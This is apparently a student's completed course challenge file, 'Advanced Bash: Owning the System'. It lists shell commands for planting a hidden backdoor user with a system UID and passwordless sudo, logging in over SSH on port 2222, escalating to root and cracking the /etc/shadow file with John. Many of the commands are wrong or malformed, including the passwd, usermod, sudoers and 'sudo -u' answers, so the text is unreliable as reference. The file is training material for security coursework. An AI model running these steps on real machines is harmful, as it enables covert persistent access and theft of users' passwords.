Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

sudo adduser sysd

2. Give your secret user a password.

sudo passwd BlueJay2!

3. Give your secret user a system UID < 1000.

sudo usermod -u sysd -175

4. Give your secret user the same GID.

sudo usermod -G sysd -175

5. Give your secret user full sudo access without the need for a password.

\$sysd ALL=(ALL) : NOPASSWD:ALL

6. Test that sudo access works without your password.

sudo mkdir test2

Step 2: Smooth Sailing

1. Edit the sshd_config file.

sudo nano /etc/ssh/sshd_config

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

sudo systemctl restart ssh.service

2. Exit the root account.

Ctrl D

3. SSH to the target machine using your sysd account and port 2222.

ssh sysd@192.168.6.105 -p 2222

4. Use sudo to switch to the root user.

sudo -u

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

sudo su
john /etc/shadow

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